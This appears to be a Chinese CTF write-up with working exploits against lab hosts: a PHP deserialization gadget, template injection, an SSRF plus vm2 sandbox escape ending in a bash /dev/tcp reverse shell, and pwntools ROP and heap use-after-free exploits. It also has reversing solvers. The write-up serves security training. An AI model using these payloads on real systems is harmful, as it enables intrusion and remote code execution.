foremost分离
flag.wav是sstv
然后是个二维码扫码
eaa2-4d62-ace6-
我们看到youshouldknowme.jpeg的信息里面有密码
猜测是steghide,解密
得到第二段flag
flag{b921323f-
第三段在图片结尾,snow的密码,解密
最后的flag:flag{b921323f-eaa2-4d62-ace6-f86361842eb8}
<?php
class H
{
public $username;
public function __destruct()
{
$this->welcome();
}
public function welcome()
{
echo "welcome~ ".$this->username;
}
}
class Hacker{
public function __toString()
{
call_user_func('system', "cat /flag");
return"";
}
}
$a = new H();
$a->username = new Hacker();
$b = serialize($a);
echo $b;
和贵阳大数据网安精英赛很像,爆破文件名,格式都差不多
import requestslist = ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'a', 'b', 'c', 'd', 'e', 'f']
url = "http://172.10.0.5/"
filename = ""
task = ""
for j in range(40):
for i in list:
tmp = filename
tmp += i
print(filename)
payload = "glob://backdoor_" + task + "*.php"
data = {
"filename": payload
}
resp = requests.post(url, data=data)
if "yesyesyes" in resp.text:
filename = task
break
else:
task = ""
数组绕过
http://172.10.0.5/backdoor_00fbc51dcdf9eef767597fd26119a894.php?username=123&title[]=.php&data[]=%3C?php%20system(%22cat%20/f*%22);flag:flag{aa03a3c1-da05-4637-8b42-a8686aaf15bc}
ImaginaryCTF官方WriteUp,Payload直接打
Tera模板注入
import requests
import socket
import socks
url = "http://172.10.0.3:8081/"string = "0123456789abcdefghijklmnopqrstuvwxyz-{"
proxy={"http":"127.0.0.1:8081"}
flag = ['}'] * 42
for i in string:
data = """
{% set arr = [__tera_context] %}
{% set f = get_env(name="fl"~"ag") %}
{%- for char in f -%}
{%- if char == '""" + i + """' -%}""" + i + """
{%- else -%}
<
{%- endif -%}
{% endfor %}"""
resp = requests.post(url=url, data=data).text
arr1 = [char for char in resp][4:]
for j in range(len(arr1)):
if(arr1[j]!='<'):
flag[j] = arr1[j]
# flag[resp.index(i)] = i
print(''.join(flag))
用dirsearch扫描出了swagger
我们可以看到他有api接口,里面有proxy/url路由,参数是url
猜测是ssrf,fuzz了很多协议file://,http://,dict://,都是被ban掉了的,想起这是java,java里如果对url前缀有检查,可以用url:来绕过检测
我们访问,还是资源不存在,因为限制了只能访问html
file协议和netdoc都可以去读了
用less读取到文件rpc.js,grpc把代码传入vm2执行,参考 https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244 写vm2 escape
const grpc = require('@grpc/grpc-js');
const protoLoader = require('@grpc/proto-loader');const packageDefinition = protoLoader.loadSync(
__dirname + '/eval.proto',
{
keepCase: true,
longs: String,
enums: String,
defaults: true,
oneofs: true
}
);
const hello_proto = grpc.loadPackageDefinition(packageDefinition).helloworld;
const c = new hello_proto.Demo('172.10.0.6:8082', grpc.credentials.createInsecure());
const template = `err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('bash -c "bash -i >&/dev/tcp/x/7575 0>&1"');
}`;
// call
c.evalTemplate({ template: template }, function(error, response) {
console.log('Operation Result:', response.message);
});
eval.proto
syntax = "proto3";
package helloworld;
service Demo {
rpc evalTemplate (TemplateRequest) returns (Reply) {}}
message TemplateRequest {
string template = 1;
}
message Reply {
string message = 1;
}
在关键比对打断点:0x00007FFFF7F97E9B然后gdb设置断点脚本:
b *0x00007FFFF7F97E9B
commands 1
set $eax=*(int*)($rsp+0x50)
continue
end
然后随便输入跑完:
然后目录下就得到了flag:
通过pe查看,发现pe节区有问题
修复后,ida反编译,是一个pe_loader,然后dump出新的pe部分
丢到ida分析,很直观的看到是一个rc4的流程
接着,分析一下rc4_crypt函数
这里是a1是加密数据,a2是加密的长度,a3作key,a4为密钥长度,回到主函数看变量,对应v14
key=v14='!y3k3ht' 逆转key= th3k3y!,再找密文转小端 BDF04CD9D029F24608CCC89FBE4BEF674604E632F3F6AAF0D1D8EC75492FCC26
解rc4
得到flag:flag{th3_p3fi15_1s_v3ry_nicccccc!}
输入的48字节数据有如下加密流程:
分成12字节每组,共4组,使用下面方法加密:
将12个字符分别拿出来,4个字节作为一组,共三组,进行如下流程32次:
每个字符分开后+66,*23,再&0xff,然后拼回4字节的int
拿到6个固定的随机数,进行一些左移右移和加法的操作,可逆
累加后进行下一轮
加密后的结果组合成3个int,作为最终结果
最终加密后的48个字符进行比对
那么逆向主要问题就是在于每个字符*23后&0xff会损失一些信息,方法就是判断结果+66之后,和23取余是否为0,为0则能被整除,大概率是原始字符,由于23X0xff=0x16e9,所以直接爆破0x00-0x16,然后拼接上+66的结果,然后就是把每轮操作中的6个随机数保存下来,返回去计算一轮就可以了,基本上就是模拟一下原来的代码
from ctypes import *
dll = cdll.LoadLibrary("ucrtbased.dll")
dll.srand(0xDEADC0DE)
def enc(input_string):
input = []
for i in range(0, len(input_string), 4):
sub_string = input_string[i:i+4]
hex_values = [ord(char) for char in sub_string]
input.append(hex_values)
print(input)
rand_list = []
for i in range(32):
for j in range(4):
input[0][j] = (23 * input[0][j] + 66) & 0xff
input[1][j] = (23 * input[1][j] + 66) & 0xff
input[2][j] = (23 * input[2][j] + 66) & 0xff
v7 = input[0][0] | input[0][1] << 8 | input[0][2] << 16 | input[0][3] << 24
v8 = input[1][0] | input[1][1] << 8 | input[1][2] << 16 | input[1][3] << 24
v9 = input[2][0] | input[2][1] << 8 | input[2][2] << 16 | input[2][3] << 24
rand0 = dll.rand()
rand1 = dll.rand()
rand2 = dll.rand()
rand3 = dll.rand()
rand4 = dll.rand()
rand5 = dll.rand()
rand_list.append([rand0, rand1, rand2, rand3, rand4, rand5])
v7 = ((v7 & 0xffffffff) + (((rand0 + (v8 >> 7)) & 0xffffffff) + (rand1 ^ (((v8 >> 15) ^ (v8 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
v8 = ((v8 & 0xffffffff) + (((rand2 + (v9 >> 7)) & 0xffffffff) + (rand3 ^ (((v9 >> 15) ^ (v9 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
v9 = ((v9 & 0xffffffff) + (((rand4 + (v7 >> 7)) & 0xffffffff) + (rand5 ^ (((v7 >> 15) ^ (v7 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff input[0][0] = v7 & 0xff
input[0][1] = (v7 & 0xff00) >> 8
input[0][2] = (v7 & 0xff0000) >> 16
input[0][3] = (v7 & 0xff000000) >> 24
input[1][0] = v8 & 0xff
input[1][1] = (v8 & 0xff00) >> 8
input[1][2] = (v8 & 0xff0000) >> 16
input[1][3] = (v8 & 0xff000000) >> 24
input[2][0] = v9 & 0xff
input[2][1] = (v9 & 0xff00) >> 8
input[2][2] = (v9 & 0xff0000) >> 16
input[2][3] = (v9 & 0xff000000) >> 24
print("-------------")
print(hex(v7))
print(hex(v8))
print(hex(v9))
def dec(input_string):
print("decode:")
# 32 * 6 random num
rand_list = [[19954, 28965, 14137, 3558, 10069, 31251], [32362, 11940, 3430, 27969, 14847, 11465], [12175, 9021, 27614, 8175, 12050, 16408], [20581, 6478, 17749, 4203, 22364, 2272], [9340, 14232, 10535, 32196, 17981, 4946], [3136, 17889, 7408, 30816, 16101, 12491], [23270, 11421, 6414, 31210, 17404, 16964], [2722, 7641, 15728, 14442, 18922, 7948], [4083, 1228, 17990, 32182, 4095, 27339], [13087, 26345, 8298, 17333, 16156, 24319], [17212, 7238, 19353, 27450, 11454, 19311], [14421, 32423, 3283, 26197, 5994, 11848], [651, 13725, 23939, 28785, 28150, 4071], [25161, 27507, 5174, 15768, 17694, 6008], [18904, 18909, 2574, 14254, 5989, 25837], [770, 28328, 3123, 15246, 22839, 29185], [13185, 26586, 19183, 8514, 24515, 24387], [29031, 1029, 16443, 469, 8968, 29531], [29897, 11963, 17889, 29292, 5124, 517], [9813, 31325, 22409, 8104, 9745, 15735], [25236, 12230, 22338, 9605, 22221, 28720], [22532, 4477, 11108, 32554, 541, 5731], [31327, 17262, 17131, 18283, 14387, 5491], [12187, 18782, 2450, 3566, 10652, 13630], [11141, 7578, 10067, 3629, 8634, 21044], [29969, 20107, 7967, 27850, 578, 20575], [23728, 11574, 3815, 5368, 21132, 30438], [19782, 12244, 1871, 13022, 19423, 22720], [27036, 4863, 15267, 26945, 26617, 6793], [26209, 18739, 15072, 4063, 27009, 3760], [5394, 15242, 2292, 21811, 11823, 6273], [11883, 4093, 23428, 22951, 26823, 23480]]
input = []
for i in range(0, len(input_string), 4):
sub_string = input_string[i:i+4]
hex_values = [char for char in sub_string]
input.append(hex_values)
for i in range(32):
v7 = input[0][0] | input[0][1] << 8 | input[0][2] << 16 | input[0][3] << 24
v8 = input[1][0] | input[1][1] << 8 | input[1][2] << 16 | input[1][3] << 24
v9 = input[2][0] | input[2][1] << 8 | input[2][2] << 16 | input[2][3] << 24
rand = rand_list[32 - i - 1]
rand0 = rand[0]
rand1 = rand[1]
rand2 = rand[2]
rand3 = rand[3]
rand4 = rand[4]
rand5 = rand[5]
v9 = (v9 - (((rand4 + (v7 >> 7)) & 0xffffffff) + (rand5 ^ (((v7 >> 15) ^ (v7 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
v8 = (v8 - (((rand2 + (v9 >> 7)) & 0xffffffff) + (rand3 ^ (((v9 >> 15) ^ (v9 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
v7 = (v7 - (((rand0 + (v8 >> 7)) & 0xffffffff) + (rand1 ^ (((v8 >> 15) ^ (v8 << 10) | 3) & 0xffffffff))) & 0xffffffff) & 0xffffffff
input[0][0] = v7 & 0xff
input[0][1] = (v7 & 0xff00) >> 8
input[0][2] = (v7 & 0xff0000) >> 16
input[0][3] = (v7 & 0xff000000) >> 24
input[1][0] = v8 & 0xff
input[1][1] = (v8 & 0xff00) >> 8
input[1][2] = (v8 & 0xff0000) >> 16
input[1][3] = (v8 & 0xff000000) >> 24
input[2][0] = v9 & 0xff
input[2][1] = (v9 & 0xff00) >> 8
input[2][2] = (v9 & 0xff0000) >> 16
input[2][3] = (v9 & 0xff000000) >> 24
# print("--------")
# print(hex(v7))
# print(hex(v8))
# print(hex(v9))
for j in range(4):
for k in range(0x17):
num = ((input[0][j] - 66) & 0xff) | (k << 8)
if num % 23 == 0:
input[0][j] = num // 23
break
for k in range(0x17):
num = ((input[1][j] - 66) & 0xff) | (k << 8)
if num % 23 == 0:
input[1][j] = num // 23
break
for k in range(0x17):
num = ((input[2][j] - 66) & 0xff) | (k << 8)
if num % 23 == 0:
input[2][j] = num // 23
break
# input[0][j] = ((input[0][j] - 66) // 23) & 0xff
# input[1][j] = ((input[1][j] - 66) // 23) & 0xff
# input[2][j] = ((input[2][j] - 66) // 23) & 0xff
# print(input)
print(input)
return input
# dec("\xfa\x1a\xf9\xaf\x35\xfe\x39\xd3\x21\xfc\x4f\xa5")
# 0123456789ab0123456789ab0123456789ab0123456789ab
# enc("0123456789ab")
# dec("\xc5\xfd\xda\x01\x9e\xe4\x71\x2d\x83\x08\xb1\xed")
# dec("\x01\xda\xfd\xc5\x2d\x71\xe4\x9e\xed\xb1\x08\x83")
# dec("\xc5\xfd\xda\x01\x9e\xe4\x71\x2d\x83\x08\xb1\xed")
cipher = [0x48, 0x4D, 0x3B, 0xA0, 0x27, 0x31, 0x28, 0x54, 0x6D, 0xF1,
0x21, 0x35, 0x18, 0x73, 0x6A, 0x4C, 0x71, 0x3B, 0xBD, 0x98,
0xB6, 0x5A, 0x77, 0x2D, 0x0B, 0x2B, 0xCB, 0x9B, 0xE4, 0x8A,
0x4C, 0xA9, 0x5C, 0x4F, 0x1B, 0xF1, 0x98, 0x3D, 0x30, 0x59,
0x3F, 0x14, 0xFC, 0x7A, 0xF4, 0x64, 0x02, 0x2B]
cipher_bytes = bytes(cipher)
nested_lists = dec(cipher_bytes[0:12])
flag = ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
nested_lists = dec(cipher_bytes[12:24])
flag += ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
nested_lists = dec(cipher_bytes[24:36])
flag += ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
nested_lists = dec(cipher_bytes[36:48])
flag += ''.join(''.join(chr(number) for number in sublist) for sublist in nested_lists)
print(flag)
# -------------
# 0x483edead
# 0x18c333fe
# 0xd0464c8
# flag{1CpOVOIeB1d2FcYUvnN1k5PbfMzMNzUzUgV6mB7hXF}
利用栈溢出ROP,先做栈迁移到bss上,然后ROP read修改bss上的stdin的后3个字节,爆破1.5字节为puts,打出来alarm的地址,得到libc的地址,然后做orw的rop,为了提高效率要准确控制输入数量,这样就不用sleep等下一次输入了,然后1/4096的概率跑一会儿就出来了:
from pwn import *
binary = ELF("./silent")
def exploit():
p = process("./silent")
# p = remote("172.10.0.8", 9999)
# context.log_level = 'debug'
context.log_level = 'error'
# pause()
pop_rdi = 0x0000000000400963
pop_rsi_r15 = 0x0000000000400961
mov_rax_got = 0x0000000000400869
leave_ret = 0x0000000000400876 # : leave; ret; payload = b'a' * 0x48
context.arch = 'amd64'
r = ROP(binary)
r.ret2csu(edi=0, rsi=0x601038, rdx=0x110, rbp=0x601038, call=binary.got['read'])
payload += r.chain()
payload += p64(leave_ret)
payload = payload.ljust(0x100, b'a')
p.send(payload)
jmp_rbp = 0x0000000000400a93 # : jmp qword ptr [rbp];
payload = b'a' * 8
r = ROP(binary)
r.ret2csu(edi=0, rsi=0x601030, rdx=3, rbp=0x601030, call=binary.got['read'])
payload += r.chain()
payload += p64(pop_rdi)
payload += p64(0x600fd8)
payload += p64(jmp_rbp)
r = ROP(binary)
r.ret2csu(edi=0, rsi=0x601148, rdx=0x100, rbp=0x601030, call=binary.got['read'])
payload += r.chain()
p.send(payload)
# pause()
# sleep(0.5)
p.send(b'\x70\x29\x84')
try:
libc = u64(p.recvline(timeout=1)[:-1].ljust(8, b'\x00')) - 0xe44f0
except:
p.close()
else:
if libc < 0:
return
success(f"libc: {hex(libc)}")
pop_rsi = libc + 0x0000000000023a6a
pop_rdx = libc + 0x0000000000001b96
ret = 0x0000000000400696
flag_str = 0x6011e0
# payload = p64(one_gadget)
payload = p64(pop_rdi)
payload += p64(flag_str)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(libc + 0x10fbf0) # open
payload += p64(pop_rdi)
payload += p64(3)
payload += p64(pop_rsi)
payload += p64(flag_str)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(libc + 0x110020) # read
payload += p64(pop_rdi)
payload += p64(1)
payload += p64(pop_rsi)
payload += p64(flag_str)
payload += p64(pop_rdx)
payload += p64(0x100)
payload += p64(libc + 0x1100f0) # write
payload += b'./flag'
# pause()
sleep(1)
p.send(payload)
p.interactive()
p.close()
exit(0)
count = 0
while True:
print(f"try: {count}")
count += 1
exploit()
# p.interactive()
# 0x7fecd4 731970
# 0x7f6d46 c42970
# 0x000000000040086a: mov eax, dword ptr [rbp - 8]; mov rdi, rax; call 0x6e0; nop; leave; ret;
# 0x0000000000400869: mov rax, qword ptr [rbp - 8]; mov rdi, rax; call 0x6e0; nop; leave; ret;
功能:
初始化分配了21个0x90堆块,作为剩余咖啡,每个类别7个堆块,共3个类别
sell可以选择一个类别购买,会返回这个类别中的一个chunk,写入数据,然后释放并清空
admin里用补充功能,先复制剩余堆块列表,然后找到一个空的位置,malloc到复制列表,再复制回去
change default功能是修改复制列表里的堆块的数据,然后复制回列表,漏洞出现在这里,开始没有从列表复制到复制列表,操作完则直接从复制列表复制回去了,导致了一个uaf,利用这个uaf释放tcache到bss上,然后查看菜单,打印出来libc,再劫持free的got为system,利用释放前可以输入的特点输入binsh拿shell
from pwn import *# p = process("./pwn")
p = remote("172.10.0.9", 8888)
context.log_level = 'debug'
def free(coffee_id, content):
p.sendlineafter(b">>>", b"1")
p.sendlineafter(b"input the id of what coffee you want to buy", str(coffee_id).encode('utf-8'))
p.sendlineafter(b"Do you want to add something?Y/N", b"Y")
p.sendlineafter(b"Ok,please input what you need in coffee", content)
def copy_list():
p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
p.sendlineafter(b"please input the admin password", b"just pwn it")
p.sendlineafter(b">>>", b"1")
p.sendlineafter(b">>>", b"2")
p.sendlineafter(b">>>", b"3")
def uaf_edit(coffee_id, id, content):
p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
p.sendlineafter(b"please input the admin password", b"just pwn it")
p.sendlineafter(b">>>", b"2")
p.sendlineafter(b">>>", str(coffee_id).encode('utf-8'))
p.sendlineafter(b">>>", str(id).encode('utf-8'))
p.sendlineafter(b"content", content)
p.sendlineafter(b'>>>', b"3")
def add():
p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
p.sendlineafter(b"please input the admin password", b"just pwn it")
p.sendlineafter(b">>>", b"1")
p.sendlineafter(b'>>>', b"1")
p.sendlineafter(b'>>>', b"3")
def show():
p.sendlineafter(b">>>", str(2).encode('utf-8'))
coffee_list = 0x00000000004062F0
free_got = 0x406018
for i in range(6):
free(1, b'a')
copy_list()
free(1, b'a')
uaf_edit(1, 7, p64(coffee_list))
add()
add()
uaf_edit(1, 2, p64(free_got))
show()
p.recvuntil("1.")
libc = u64(p.recvuntil(":")[:-1].ljust(8, b'\x00')) - 0x9a6d0
success(f"libc: {hex(libc)}")
free(1, b'a')
uaf_edit(1, 1, p64(0x406018-8))
add()
add()
system = libc + 0x52290
p.sendlineafter(b">>>", str(0x1145).encode('utf-8'))
p.sendlineafter(b"please input the admin password", b"just pwn it")
p.sendlineafter(b">>>", b"2")
p.sendlineafter(b">>>", b"1")
p.sendlineafter(b">>>", b"4")
p.sendafter(b"content", p64(system) * 2)
p.sendlineafter(b'>>>', b"3")
free(1, "/bin/sh")
p.interactive()